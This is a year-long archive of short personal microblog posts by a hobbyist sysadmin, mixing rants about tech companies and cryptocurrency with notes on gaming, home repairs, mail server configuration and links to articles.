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2022

July

╒═════╣▒ 07/15/2022 @23:24 ▒╟──────────┘

Corporate America is so mind-bogglingly out of touch it is embarrassing.

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╒═════╣▒ 07/13/2022 @19:25 ▒╟──────────┘

«Climate change makes techno-scam that helps cause climate change unprofitable»¹, marketing machine goes brrr while line goes sad trombone.

[1] https://www.jwz.org/blog/2022/07/texas-is-now-too-hot-for-bitcoin-mining/

╒═════╣▒ 07/12/2022 @17:16 ▒╟──────────┘

Alerting in Grafana is so trash that I'm seriously about to write Nagios/Icinga plugins to just watch values from InfluxDB.  They should just throw the alert system in the trash and let some software fit for purpose do the work.

╒═════╣▒ 07/12/2022 @10:06 ▒╟──────────┘

These EBL LiPo 9V batteries seem to have no protection in them so if I don't get to them fast enough I have to recover them before their charger will agree to charge them.  Not recommended.

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╒═════╣▒ 07/11/2022 @19:03 ▒╟──────────┘

I think it's super great that the demoscene is still alive and strong producing «rad stuff like this»¹.«source»²

[1] https://demozoo.org/parties/4444/

[2] https://demozoo.org/graphics/309529/

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╒═════╣▒ 07/10/2022 @23:49 ▒╟──────────┘

I miss the days when a «monopoly didn't control»¹ what I could do with my computer... and in such a rank amateur fashion.

[1] https://developer.apple.com/documentation/safariservices/safari_web_extensions

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╒═════╣▒ 07/10/2022 @10:36 ▒╟──────────┘

I love «this»¹, though I kinda wish it had a bigger screen and talked to a bluetooth keyboard instead of having a tiny rubber one.

[1] http://violence.works

╒═════╣▒ 07/08/2022 @20:14 ▒╟──────────┘

One of my favorite features of my RSS transmogrifier is that it prefaces any tweet, quote tweet, or retweet of a user that has `core.user_results.result.has_nft_avatar` set to True with the following HTML:<img src="https://ssl.ub3rgeek.net/images/nftbro.png"><br><h1>NFT BRO ALERT</h1><br>If it wasn't so funny I'd just killfile the tweets.

╒═════╣▒ 07/06/2022 @19:27 ▒╟──────────┘

All I wanted was to re-wire 4 outlets in the front room...  after a solid day of working I have 2 re-wired and about 1/2 of the rats nest of other things that were sharing that circuit cut out. 

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╒═════╣▒ 07/05/2022 @09:59 ▒╟──────────┘

Some of the options inside Outlook are downright insane these days.  I can't believe that they paid people to work on these.

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╒═════╣▒ 07/02/2022 @23:46 ▒╟──────────┘

So based on previous experience with both a «random eBay battery»¹ and an «iFixit battery»², about a year and 100 cycles is what you can expect before you start getting Service Recommended.Time to order another sketchy eBay battery then!

[1] https://www.going-flying.com/thoughts/1599790606.html

[2] https://www.going-flying.com/thoughts/1622814354.html

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╒═════╣▒ 07/02/2022 @17:14 ▒╟──────────┘

Ooh!  Another «Big Panda Tiny Dragon»¹ book for pre-order you say?  «A signed copy is available you say»²?  TAKE MY MONEY *PLEASE*.

[1] https://www.jamesnorbury.com

[2] https://linktr.ee/jamesnorbury

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╒═════╣▒ 07/01/2022 @15:57 ▒╟──────────┘

If there was ever a reason to dance with jubilation at the crypto world burning other than fraudsters losing their ill-gotten gains I think «taking the foot slightly off the pedal speeding us to an inhospitable planet»¹ would be a good one.

[1] https://twitter.com/jwz/status/1542930303232122880

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╒═════╣▒ 07/01/2022 @15:03 ▒╟──────────┘

I feel like not enough people realize the lesson «here»¹...

[1] https://www.penny-arcade.com/comic/2022/07/01/gom-jabbar

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╒═════╣▒ 07/01/2022 @13:23 ▒╟──────────┘

«A Declaration of Independence From The United States Supreme Court»¹

[1] https://www.mcsweeneys.net/articles/a-declaration-of-independence-from-the-united-states-supreme-court

╒═════╣▒ 06/30/2022 @23:12 ▒╟──────────┘

From the *sounds-too-much-like-common-sense* department:> ✅No mask ✅No vax✅No con> Should you start going to business conferences again? «https://www.computerworld.com/article/3665053/should-you-start-going-to-business-conferences-again.html»¹ via «@computerworld»² & «@sjvn»³ I've made three business trips this year, and I'll be doing more. But, should you? No, you probably shouldn't. «#COVID19»⁴— Steven J. Vaughan-Nichols (@sjvn) «June 30, 2022»⁵— Violet Blue® (@violetblue) «June 30, 2022»⁶

[1] https://www.computerworld.com/article/3665053/should-you-start-going-to-business-conferences-again.html

[2] https://twitter.com/Computerworld?ref_src=twsrc%5Etfw

[3] https://twitter.com/sjvn?ref_src=twsrc%5Etfw

[4] https://twitter.com/hashtag/COVID19?src=hash&ref_src=twsrc%5Etfw

[5] https://twitter.com/sjvn/status/1542590425520807937?ref_src=twsrc%5Etfw

[6] https://twitter.com/violetblue/status/1542594186058248192?ref_src=twsrc%5Etfw

June

╒═════╣▒ 06/29/2022 @17:29 ▒╟──────────┘

«This»¹.

[1] https://www.stonekettle.com/2022/06/when-good-men-do-nothing.html

╒═════╣▒ 06/28/2022 @11:17 ▒╟──────────┘

From the *screaming-internally* department:«https://twitter.com/textfiles/status/1541743031954677761»¹

[1] https://twitter.com/textfiles/status/1541743031954677761

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╒═════╣▒ 06/27/2022 @17:40 ▒╟──────────┘

The "Homepage" thing on mobile Firefox is such a garbage fire anti-feature.  Why did you remove my ability to have my own start page?  It is almost like the comittee that makes these decisions would rather you not use their browser.  A pox on your houses.

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╒═════╣▒ 06/25/2022 @09:01 ▒╟──────────┘

Real feels.  «Via»¹

[1] https://twitter.com/violetblue/status/1540572644126257157

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╒═════╣▒ 06/24/2022 @18:51 ▒╟──────────┘

From the solutions-without-problems department:> This is my basic argument: blockchain does nothing to solve any existing problem with financial (or other) systems. Those problems are inherently economic and political, and have nothing to do with technology. And, more importantly, technology can’t solve economic and political problems. Which is good, because adding blockchain causes a whole slew of new problems and makes all of these systems much, much worse.Via: «On the Dangers of Cryptocurrencies and the Uselessness of Blockchain»¹

[1] https://www.schneier.com/blog/archives/2022/06/on-the-dangers-of-cryptocurrencies-and-the-uselessness-of-blockchain.html

╒═════╣▒ 06/23/2022 @13:58 ▒╟──────────┘

From this *you-damn-kids-today* department:> It now occurs to me that some people are assuming that I cannot possibly be running a dedicated server in this day and age instead of some virtual server. Those folks have never tried to run a collection of files like the ones on textfiles.com and deal with the TOS.— Jason Scott (@textfiles) «June 23, 2022»¹Meet the server that brought *this* website to you.

[1] https://twitter.com/textfiles/status/1539890900985339905

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╒═════╣▒ 06/22/2022 @17:51 ▒╟──────────┘

I keep abusing this ship and it keeps getting me home.

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╒═════╣▒ 06/20/2022 @22:15 ▒╟──────────┘

From the *turtles-all-the-way-down* department:I vote we go ahead and give up on the Web.  We did it wrong.  We did it so wrong someone thought it was a good idea to hook a «headless browser up to your browser via WASM»¹.  So you have a browser running in a VM delivering draw commands to a JIT compile program running in a VM in your local browser because we stopped just delivering hypertext over the hypertext transfer protocol.  We truly have forgotten the face of our fathers.

[1] https://blog.cloudflare.com/email-link-isolation/

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╒═════╣▒ 06/18/2022 @11:18 ▒╟──────────┘

From the *are-you-kidding-me* department:> Jun 18 10:34:35 imladris postfix/smtpd[1174295]: NOQUEUE: reject: RCPT from dhcp-thirty.internal.ub3rgeek.net[192.168.196.30]: 550 5.7.1 <smtpclient.apple>: Helo command rejected: Host not found; from=<[REDACTED]> to=<[REDACTED]> proto=ESMTP helo=<smtpclient.apple>I don't know why iOS mail isn't using the FQDN assigned by DHCP to the device (which is what mail on macOS seems to do) but using a FQDN that doesn't resolve and isn't controlled by the user seems amateurish.  I guess I get to go exempt more stupid behavior from the strict checks in my «Postfix»¹ configuration.

[1] http://www.postfix.org

╒═════╣▒ 06/17/2022 @13:26 ▒╟──────────┘

RSAC followed San Francisco city covid protocols for the event, which do not follow the science and is why we're in a long, bad, endless surge here -- and SFDPH *does not care*.Also, yes I've been reporting on this for 2 weeks. — Violet Blue® (@violetblue) «June 17, 2022»¹

RSAC branded a 'super spreader event' as attendees share COVID-19 test results «https://www.theregister.com/2022/06/16/rsa_covid_risk/»²— The Register (@TheRegister) «June 16, 2022»³

[1] https://twitter.com/violetblue/status/1537611031999967232

[2] https://www.theregister.com/2022/06/16/rsa_covid_risk/

[3] https://twitter.com/TheRegister/status/1537555028830994432

╒═════╣▒ 06/17/2022 @10:46 ▒╟──────────┘

From the completely-on-brand-for-both-parties department:

Notorious, convicted scammer hops on board the NFT grift is super peak NFT.

via: «jwz»¹, «web3isgoinggreat»²

[1] https://www.jwz.org/blog/2022/06/anna-delvey-sorokin-announces-she-will-move-away-from-the-scammer-persona-and-launch-nfts/

[2] https://web3isgoinggreat.com/single/anna-delvey-sorokin-announces-she-will-move-away-from-the-scammer-persona-and-launch-nfts

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╒══��══╣▒ 06/15/2022 @22:07 ▒╟──────────┘

From the *sometimes-because-physics* department:

I swear I didn't park it that way.

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╒═════╣▒ 06/15/2022 @18:27 ▒╟──────────┘

From the *are-we-sure-Blake-is-sentient* department:

«Preach, boys»¹.

[1] https://www.penny-arcade.com/comic/2022/06/15/sorcelator

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╒═════╣▒ 06/12/2022 @10:12 ▒╟──────────┘

The mailman 3 web frontend sucks so much compared to pipermail (the mailman 2 web frontend). Apparently using static files on disk is gauche these days so of course it has to use a database and an ORM and all this other crap. Anyway, I needed to migrate from SQLite to MariaDB and Django's tools kept triggering the Linux OOM killer so I had to find a way to do it at the database layer. SQLite and MySQL/MariaDB produce slightly incompatible dump formats so after trying to fight with translating a 5GB dump file I found «sqlite3-to-mysql»¹ which Just Worked. If you end up needing to coax some performance out of the trash pile that is Hyperkitty, it *Worked For Me*.

[1] https://github.com/techouse/sqlite3-to-mysql

╒═════╣▒ 06/10/2022 @17:06 ▒╟──────────┘

«This is just one of many examples»¹ of the *garbage* journalism being published in the New York Times that lead me to cancel my subscription.

I won't even go there to play Wordle.

[1] https://threadreaderapp.com/thread/1534903354274488322.html

╒═════╣▒ 06/10/2022 @12:16 ▒╟──────────┘

You know, if you're looking for some rad stickers to not-so-subtly show off your belief that all human beings are deserving of rights, that allowing a highly virulent, rapidly mutating, mass-disabling and still little-understood disease run rampant is an *awful* idea, and that felines are the superior pet, check out «Violet Blue's RedBubble»¹ shop.

[1] https://www.redbubble.com/people/viblue/shop?asc=u

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╒═════╣▒ 06/08/2022 @23:03 ▒╟──────────┘

CAPCHAs largely don't work but I don't think the answer is to cement a duopoly into infrastructure even further. Hopefully this can be disabled on the device. I'd rather have a CAPCHA (as shit as they are) than have Cloudflare and Apple chat with each other to show me a website.

https://blog.cloudflare.com/eliminating-captchas-on-iphones-and-macs-using-new-standard/

╒═════╣▒ 06/08/2022 @10:49 ▒╟──────────┘

Not going to lie, watching inventory management in Escape From Tarkov tickles a very specific part of my brain.

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╒═════╣▒ 06/07/2022 @23:47 ▒╟──────────┘

The progression to the scumbag web suddenly makes sense to me.

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╒═════╣▒ 06/04/2022 @23:32 ▒╟──────────┘

I shouldn't be so smug at the repeated failures of The Scumbag Web, after all they are still ruining the planet and people don't deserve to be led to ruin by scammers... but the memes are so... *chefs kiss*

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╒═════╣▒ 06/02/2022 @16:22 ▒╟──────────┘

I was dialing in some control mapping for my HOTAS and I discovered that the Avenger Titan is a pretty tough little ship.

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╒═════╣▒ 05/30/2022 @15:06 ▒╟──────────┘

Set home to Microtech this wipe in «Star Citizen»¹ and it's amazing how every city in the game so far has such a distinct feel at night...

[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5

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╒═════╣▒ 05/16/2022 @18:34 ▒╟──────────┘

As if handling something like 10% of the HTTP/S traffic of the global Internet isn't enough reason to avoid Cloudflare, they've «come up with another reason»¹. Buying into the scumbag web is just shoveling more energy to keep the grift alive.

[1] https://blog.cloudflare.com/ea-web3-gateways/

╒═════╣▒ 05/11/2022 @19:45 ▒╟──────────┘

• *snort**

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╒═════╣▒ 05/11/2022 @17:51 ▒╟──────────┘

It would be cool if there were audio player items in Star Citizen. You could have a radio on your ship and players could sign up to stream audio into the 'verse which could show up as channels on the radio. The implementation would be reasonably simple, just have the client tune in an icecast stream and wire it into a positional audio source. Imagine how cool it would be to walk onto someone's ship and hear music playing somewhere in the distance?

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╒═════╣▒ 05/11/2022 @09:26 ▒╟──────────┘

How to fix social media. What we need is this one simple trick: A site that scrapes, collates, and de-dups your friends' posts on every social media site, and then shows you the union of all of those posts as one feed. This is the only way to break... «https://www.jwz.org/blog/2022/05/how-to-fix-social-media/»¹— j͕̠̦̪͕̓͛̊̾̄ͅw̧̧̳̪̘͊̋͗̾͢͠z̢̘̞͈̺̞̩̓̽̐̋͗̆̋̚͟͜ (@jwz) «May 10, 2022»²

[1] https://www.jwz.org/blog/2022/05/how-to-fix-social-media/

[2] https://twitter.com/jwz/status/1524120432777076737?ref_src=twsrc%5Etfw

╒═════╣▒ 05/03/2022 @18:47 ▒╟──────────┘

Welp, good to see «Star Citizen 3.17»¹ off to a... «somewhat predictable start»².

Weather on a moon is pretty darn cool though...

[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5

[2] https://www.going-flying.com/~mernisse/screenshots/Games/Star%20Citizen/html/ScreenShot-2022-05-03_15-49-37-710.html

╒═════╣▒ 04/30/2022 @20:30 ▒╟──────────┘

At the risk of sounding a bit too much *old-man-shouts-at-cloud*, computer UI peaked around 2004 and has only gotten worse since.

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April

╒═════╣▒ 04/27/2022 @16:51 ▒╟──────────┘

«VioletBlue's»¹ Cybersecurity and Pandemic newsletters have been absolute must-reads for me and are available over on «her patreon»² and on top of being well written, well researched, and information-dense, they rarely miss in the meme department. Behold... *chef's kiss*. Perfection. *No notes*.

[1] https://twitter.com/violetblue/

[2] https://www.patreon.com/join/violetblue

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╒═════╣▒ 04/25/2022 @17:49 ▒╟──────────┘

For the grift to keep working the «grifters gotta grift»¹.

[1] https://web3isgoinggreat.com/single/ftx-founder-sam-bankman-fried-tries-to-explain-yield-farming-and-its-just-a-ponzi

╒═════╣▒ 04/24/2022 @09:55 ▒╟──────────┘

Make no mistake, Apple's App Store is 100% anti-competitive. I find the whole paradigm to be toxic, forcing wonderful applications into parity with cheap clones and malware smuggled by over-worked censors and scripts doing static analysis. The customer experience is utter dogshit, application discovery is a joke and at any point the shop keeper can come by and *take the product you bought away* from you while still keeping their vig.

Rant inspired by: «this»¹.

[1] https://take.surf/2022/04/23/steve-troughton-smith-on-apple-app-store-developers-and-government-meddling

╒═════╣▒ 04/23/2022 @10:30 ▒╟──────────┘

I love «every single thing about this»¹. «via @textfiles»²

[1] https://www.wjstjetset.com/about

[2] https://twitter.com/textfiles/status/1517698317949542400

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╒═════╣▒ 04/23/2022 @09:54 ▒╟──────────┘

Dear «Unicode Consortium»¹, I support this. I have a mighty need for this.

https://t.co/nGkg3ywmyy -> https://twitter.com/chrissteinplays/status/1517516149361201155/photo/1

I still think the greatest contribution to online culture would be the guillotine emoji «https://twitter.com/chrissteinplays/status/1517516149361201155/photo/1»²— Cʜʀɪs Sᴛᴇɪɴ (@chrissteinplays) «April 22, 2022»³

«via @GreatDismal»⁴

[1] https://home.unicode.org

[2] https://twitter.com/chrissteinplays/status/1517516149361201155/photo/1

[3] https://twitter.com/chrissteinplays/status/1517516149361201155?ref_src=twsrc%5Etfw

[4] https://twitter.com/GreatDismal/

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╒═════╣▒ 04/22/2022 @23:08 ▒╟──────────┘

Do Smart Playlists not work on the Music app on iOS? It looks like they only update on sync? I must be missing something...

╒═════╣▒ 04/22/2022 @09:03 ▒╟──────────┘

Did not expect 2022 to be a year that included replacing a capstan motor in a cassette deck that is almost as old as me but here we are...

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╒═════╣▒ 04/20/2022 @19:34 ▒╟──────────┘

The only NFTs I am likely to support!

(«source, maybe?»¹)

[1] https://www.reddit.com/r/teefies/comments/smxdd8/cute_nfts/

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╒═════╣▒ 04/16/2022 @19:41 ▒╟──────────┘

I miss having a Radio Shack around, being able to get bits to make cables was so much easier back then. That being said, do you think this is still MFi certified? 😂

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╒═════╣▒ 04/16/2022 @17:17 ▒╟──────────┘

I like Safari well enough, and even though Firefox has largely gone to shit I'd still rather use it over Chrome or any of its derivatives.

«Don't surrender to amoral techbros and oligarchs»¹.

[1] https://contrachrome.com/

╒═════╣▒ 04/16/2022 @11:08 ▒╟──────────┘

Today we are on a mission to find out which fan is making a ticking noise...

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╒═════╣▒ 04/16/2022 @00:24 ▒╟──────────┘

Why can't I *disable* these? "For You" is the least useful section of any app. Stop wasting my time with it.

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╒═════╣▒ 04/15/2022 @13:51 ▒╟──────────┘

The «piece by Ken White»¹ and the «piece by Michael Hobbes»² drive home a lot of my thoughts on the pearl clutching *OMG CANCEL CULTURE* handwaving that is going on.

[1] https://popehat.substack.com/p/our-fundamental-right-to-shame-and

[2] https://michaelhobbes.substack.com/p/panic-on-the-editorial-page

╒═════╣▒ 04/13/2022 @08:31 ▒╟──────────┘

So it looks like the Wikimedia Foundation community has officially asked Wikimedia to «stop accepting crypto currencies for donations»¹. I am glad to hear this and sincerely hope Wikimedia acquiesces. Furthermore I hope that the «Internet Archive»² takes notice and follows suit. Friends don't let friends destroy the planet.

[1] https://web3isgoinggreat.com/single/2022-04-12-2

[2] https://archive.org

╒═════╣▒ 04/11/2022 @23:27 ▒╟──────────┘

Every *single one* of you heathens had better have a working floppy drive or a pox upon your house.

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╒═════╣▒ 04/11/2022 @21:47 ▒╟──────────┘

Matt Gemmell: «Content Creation»¹

Content is fungible, space-filling, placeholder-replacing stuff, and that’s not even its most offensive connotation. The worst part of “content” is that it’s implicitly relative to its container. That’s what content means. The contents of a sandwich are with respect to the bread. The content is just what’s inside. It’s probably the most trivialising, demeaning, depressing, surrendering term out there — but people lay claim to it. People define themselves as makers of it.

«via»²

I wholeheartedly agree and feel the same way about *coder/coding*. I am a *programmer* who *writes software*.

[1] https://mattgemmell.com/content-creation/

[2] https://take.surf/2022/04/11/matt-gemmell-content-creation

╒═════╣▒ 04/07/2022 @09:36 ▒╟──────────┘

But ultimately, I say it again: Using Twitter for what we use it now, and with lives and livelihoods at stake, is cookie-dough-hat-in-a-subway-car insane.But we knew this a decade ago.— Jason Scott (@textfiles) «April 7, 2022»¹

[1] https://twitter.com/textfiles/status/1511911398640701440?ref_src=twsrc%5Etfw

╒═════╣▒ 04/06/2022 @22:22 ▒╟──────────┘

Every time I see a thread on Twitter I end up thinking 'good lord this would have been better as a blog post'.

╒═════╣▒ 04/05/2022 @13:31 ▒╟──────────┘

I thought «this was a great talk»¹ by Paul Eggert, the Coordinator for the Time Zone database your computer likely uses... One of the things I took away was that you never quite foresee your own success and the decisions you make early on in a project are often with you for the entire life of the project.

[1] https://framatube.org/w/3EGcA7hVNGmemHB4d7arwi

╒═════╣▒ 04/04/2022 @20:05 ▒╟──────────┘

Well I decided to create a SIMPLE visual representation of the Flu vs Covid Original vs BA2. Looking at death as well as «#LongCovid»¹. This is designed for a non-scientific audience, so those disputing exactitude, this is a general overview. «#CovidExplained»² «#MaskUp»³ «#CovidIsntOver»⁴ «pic.twitter.com/geb2H9I9jQ»⁵— ID_Geek (@RogueVictorian) «April 4, 2022»⁶

[1] https://twitter.com/hashtag/LongCovid?src=hash&ref_src=twsrc%5Etfw

[2] https://twitter.com/hashtag/CovidExplained?src=hash&ref_src=twsrc%5Etfw

[3] https://twitter.com/hashtag/MaskUp?src=hash&ref_src=twsrc%5Etfw

[4] https://twitter.com/hashtag/CovidIsntOver?src=hash&ref_src=twsrc%5Etfw

[5] https://t.co/geb2H9I9jQ

[6] https://twitter.com/RogueVictorian/status/1510779126587789320?ref_src=twsrc%5Etfw

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March

╒═════╣▒ 03/30/2022 @14:51 ▒╟──────────┘

So I «decided a while back»¹ that UniFi Video was no longer fit for purpose and that when I finally upgrade from 802.11ac I'll probably choose another vendor for my WiFi as well.

Turns out, they're busy adding more reasons.

So I've been a *mostly* happy «@Ubiquiti»² customer, despite a few hiccups with their Cloud Key Gen 2+ model space heater.And a security breach.That I first found out about from «@briankrebs»³.Against whom Ubiquiti has apparently just filed a lawsuit. «https://twitter.com/QuinnyPig/status/1508965090019577856/photo/1»⁴— Corey Quinn (@QuinnyPig) «March 30, 2022»⁵

[1] https://www.going-flying.com/blog/four-years-of-unifi-video.html

[2] https://twitter.com/Ubiquiti?ref_src=twsrc%5Etfw

[3] https://twitter.com/briankrebs?ref_src=twsrc%5Etfw

[4] https://twitter.com/QuinnyPig/status/1508965090019577856/photo/1

[5] https://twitter.com/QuinnyPig/status/1508965090019577856?ref_src=twsrc%5Etfw

╒═════╣▒ 03/25/2022 @22:20 ▒╟──────────┘

I've poked fun at the wider JavaScript ecosystem before, but «it just keeps warranting poking»¹.

A small reminder that all the JavaScript that I wrote for this website is un-minified^Wobfuscated, BSD Licensed, and has a minimum of external dependancies, all of which are manually updated, and hosted by, me.

[1] https://taoofmac.com/space/links/2022/03/19/0940

╒═════╣▒ 03/23/2022 @13:34 ▒╟──────────┘

Today's jam, wrapped in a mood....

«Boys Noize - Mayday (Snowden O.S.T.) (Official Video)»¹

[1] https://www.youtube.com/watch?v=49vZhQlAEyk

╒═════╣▒ 03/22/2022 @23:22 ▒╟──────────┘

From the *wish-I-could-be-there* department:«POW: POW X10: A COLOSSAL NIGHT OF SOUND AND VISION»¹ live now on the «DNA Lounge webcast!»²

[1] https://www.dnalounge.com/calendar/2022/03-22.html

[2] https://www.dnalounge.com/webcast/video.html

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╒═════╣▒ 03/21/2022 @13:36 ▒╟──────────┘

From the *todays-jam* department:«Lily Allen - Insincerely Yours»¹

[1] https://music.apple.com/us/album/insincerely-yours/836584504?i=836584523

╒═════╣▒ 03/19/2022 @19:07 ▒╟──────────┘

From the *shits-in-your-head* department:

via unsurprisingly unattributed on Tumblr.

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╒═════╣▒ 03/16/2022 @22:41 ▒╟──────────┘

From the *we-are-all-Milton* department:«via»¹

[1] https://twitter.com/jwz/status/1504260797165309952

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╒═════╣▒ 03/16/2022 @15:20 ▒╟──────────┘

Another hero from my youth, stripped for name recognition and left for dead (links redacted).

The team is thrilled to announce the auctioning of Winamp Original Skin as 1/1 NFT AND the launch of Winamp Foundation!🚀 All funds collected will be redistributed to charity projects supporting music & musicians. Curious? [REDACTED] #Winamp^W #NFT^W #crypto^W #nfts^W «https://twitter.com/winamp/status/1504083229254602752/photo/1»¹— Winamp (@winamp) «March 16, 2022»²

[1] https://twitter.com/winamp/status/1504083229254602752/photo/1

[2] https://twitter.com/winamp/status/1504083229254602752?ref_src=twsrc%5Etfw

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╒═════╣▒ 03/14/2022 @21:26 ▒╟──────────┘

Finally got around to upgrading Sonarr from 2.0 to 3.0. It was a little annoying, they don't seem to ship Debian 11 packages even though it has been out since August 2021. In case it helps someone, the Debian 10 (buster) repository works on 11 (bullseye). If you happen to not catch it during the configure phase it can import your 2.0 configuration but you will want to stop the daemon and copy your config.xml and nzbdrone.db from wherever it is (~/.config/NzbDrone in my case) to the new directory (/var/lib/sonarr) and then start the daemon up.

╒═════╣▒ 03/06/2022 @19:30 ▒╟──────────┘

From this *that-tracks* department, via «@jwz»¹:

I made a browser extension that changes the word “billionaire” to “oligarch” and, well, it’s about as perfect as I was hoping.«https://addons.mozilla.org/en-US/firefox/addon/billionaire-oligarch-replacer/»²«https://chrome.google.com/webstore/detail/billionaire-to-oligarch-r/ealafelnipmdnebociefhhkgoocplidj»³ «https://twitter.com/Noleli/status/1499760828022607877/photo/1»⁴— Noah Liebman (@Noleli) «March 4, 2022»⁵

[1] https://twitter.com/jwz

[2] https://addons.mozilla.org/en-US/firefox/addon/billionaire-oligarch-replacer/

[3] https://chrome.google.com/webstore/detail/billionaire-to-oligarch-r/ealafelnipmdnebociefhhkgoocplidj

[4] https://twitter.com/Noleli/status/1499760828022607877/photo/1

[5] https://twitter.com/Noleli/status/1499760828022607877?ref_src=twsrc%5Etfw

╒═════╣▒ 03/06/2022 @14:07 ▒╟──────────┘

Every time I end up having to do something like *for x in $(find . -type f -maxdepth 1 -name \*-header.png); do convert -quality 95 ${x} ${x%.*}.jpg; done*, I wonder how people who don't use the command line get things done... Then I realize things like 9pbaireg.pbz exist and I am sad.

╒═════╣▒ 03/06/2022 @11:57 ▒╟──────────┘

In today's edition of Apple's monopolistic lock-in to the App Store paradigm meets their terrible engineering... How, exactly am I supposed to *find* Safari extensions anymore? You can't *search* for them in the App Store, you can't *browse* a list of them... The best you can do is one of those useless 'For You' pages with like 7 of them that Apple thinks is pretty cool. You can't write you own either, since you need the stupid $100/year developer license to do so.

It's almost like no one wants you to actually *use* your computer anymore.

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╒═════╣▒ 03/05/2022 @11:06 ▒╟──────────┘

From the *this-mornings-jam* department:«Young Sinatra (Logic) - The Spotlight from Undeniable»¹

Unrelated: how is it 2022 and the iOS selection and cut/copy/paste UIs still a dumpster fire?

[1] https://m.youtube.com/watch?v=6Wxl-m7FrXI

╒═════╣▒ 03/04/2022 @23:47 ▒╟──────────┘

I am more pessimistic than «either Carmack or Atwood»¹. I don't see how we can reach level 5 autonomous vehicles without general AI and as such don't think it will happen in my lifetime, much less in 8 years. I look forward to Carmack's charitable contribution.

[1] https://blog.codinghorror.com/the-2030-self-driving-car-bet/

╒═════╣▒ 03/03/2022 @20:56 ▒╟──────────┘

How the fuck do you stop iOS from asking to pair nearby Apple accessories? This is fucking annoying. Surely they can't be so shit as to not let you stop this....

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╒═════╣▒ 03/02/2022 @17:53 ▒╟──────────┘

Well, I already didn't like iCloud Private Relay but «now that I see Cloudflare is involved»¹ I am even less ok with it. At least 'not paying Apple' is a really easy opt-out mechanism.

[1] https://blog.cloudflare.com/icloud-private-relay/

╒═════╣▒ 03/02/2022 @11:08 ▒╟──────────┘

I love that the «bug»¹ to support the «ATmega328pb»², which was released in 2015 according to the datasheet, is still languishing away. Oh, and no one bothered to fix the Debian «bug»³ either because lol waiting on upstream.

[1] https://savannah.nongnu.org/bugs/index.php?54652

[2] https://www.microchip.com/en-us/product/atmega328pb

[3] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=867235

February

╒═════╣▒ 02/25/2022 @23:38 ▒╟──────────┘

From the *today-I-learned* department:

The writer and artist behind @bigpandaandtinydragon has put out «a book»¹. I ordered a copy from «Barnes & Noble»² in hopes of denying the death star a few of my generic monetary units.

[1] https://www.jamesnorbury.com/book

[2] https://www.barnesandnoble.com/w/big-panda-and-tiny-dragon-james-norbury/1139310650

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╒═════╣▒ 02/25/2022 @21:14 ▒╟──────────┘

Computers have gotten so small, that the only fun thing left is to try to pack it into as small and quiet a package as you can manage. My gaming PC idles at a tepid 10°C over ambient and kisses 42°C (CPU), and 62°C (GPU) over ambient after running Star Citizen for an hour.

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╒═════╣▒ 02/24/2022 @08:26 ▒╟──────────┘

Sometimes flying Internet spaceships makes you want to build things.

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╒═════╣▒ 02/23/2022 @22:24 ▒╟──────────┘

In 2014 I ended up on team Elite: Dangerous and have been happy periodically flying around the Milky Way ever since. It seemed a no-brainer, the Space Game Kickstarter Wars of 2012 only really produced one working game at the time. It was thin, but tens of thousands of light years wide. I don't regret my time in the game and I still have things I want to do.

All that said, thanks to the likes of «Drew Wagar»¹ (Salome is remembered...) and an auspiciously timed free fly event, I have spent a few hours in «Star Citizen»². Only about 10% of it has been floating aimlessly though space, having clipped through a space ship or planet...

There is still something about being able to wake up in a bedroom, walk up a ramp into my ship, turn it on, fly to another planet, lower the ramp, and walk out.

[1] https://www.youtube.com/watch?v=qIE5LePr024

[2] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5

╒═════╣▒ 02/20/2022 @22:08 ▒╟──────────┘

Not going to lie, I've been vibing to the Cyberpunk 2077 soundtrack a bit lately while flying Internet space ships. «This»¹ track hits in the right ways.

[1] https://music.apple.com/us/album/never-fade-away-samurai-cover-feat-olga-jankowska/1544457960?i=1544458149

╒═════╣▒ 02/19/2022 @18:19 ▒╟──────────┘

So I figured I'd give the «Star Citizen»¹ «Free Fly»²a try and it is fun. I think it's the only game I've got that runs out of CPU way before GPU though...

[1] https://robertsspaceindustries.com/enlist?referral=STAR-TWZ2-KTD5

[2] https://robertsspaceindustries.com/promotions/3-16-1-Free-Fly

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╒═════╣▒ 02/19/2022 @11:54 ▒╟──────────┘

Nice.

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╒═════╣▒ 02/18/2022 @16:31 ▒╟──────────┘

I've been watching «Dr Disrespect»¹ and «Dr Lupo»² play «Escape From Tarkov»³ lately and if there way a way to play the base building / inventory management aspect of the game without the first person shooter I'd have already bought it... As it stands, I may still buy it.

[1] https://championsclub.gg

[2] https://www.drlupo.tv

[3] https://www.escapefromtarkov.com

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╒═════╣▒ 02/09/2022 @21:28 ▒╟──────────┘

Stories like «this»¹ help remind me that even behind gigantic opaque closed software projects there are human beings just like you and me.

[1] https://devblogs.microsoft.com/oldnewthing/20220208-00/?p=106232

╒═════╣▒ 02/08/2022 @11:59 ▒╟──────────┘

Seriously... clean your mouse. This is making me want to vomit...

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╒═════╣▒ 02/08/2022 @10:31 ▒╟──────────┘

My mouse was acting strange... it was filled with flakes of human... When you clean your keyboards, clean your mouse too!

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╒═════╣▒ 02/04/2022 @16:03 ▒╟──────────┘

I kinda want one of these «Vestaboard»¹ type things, only with a serial port instead of whatever Internet of Things hell is attached... and maybe a little bit less expensive.

[1] https://www.vestaboard.com/home

╒═════╣▒ 02/01/2022 @10:33 ▒╟──────────┘

Thanks to «today's XKCD»¹, I pre-ordered «What If 2»² and frankly so should you.

[1] https://xkcd.com/2575/

[2] https://xkcd.com/what-if-2/

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January

╒═════╣▒ 01/24/2022 @18:33 ▒╟──────────┘

It's bad enough I have to «disable signing for all extensions in Firefox»¹ to run *code I wrote* on software running *on my own damn computer*, but I can't even do that in Safari without «paying a tithe to Apple»².

[1] https://extensionworkshop.com/documentation/publish/signing-and-distribution-overview/

[2] https://developer.apple.com/documentation/safariservices/safari_web_extensions/converting_a_web_extension_for_safari

╒═════╣▒ 01/19/2022 @14:39 ▒╟──────────┘

From the *totally-not-a-scam* department:

The grift is bigger than you may have thought. «https://web3isgoinggreat.com/»¹

«via»²

[1] https://web3isgoinggreat.com/

[2] https://brucesterling.tumblr.com/post/673733847525081088/httpsweb3isgoinggreatcom

╒═════╣▒ 01/19/2022 @12:10 ▒╟──────────┘

Built one of the «bigclivedotcom wireless LEDs»¹. Amusing to use my cell phone as a glorified 555 timer.

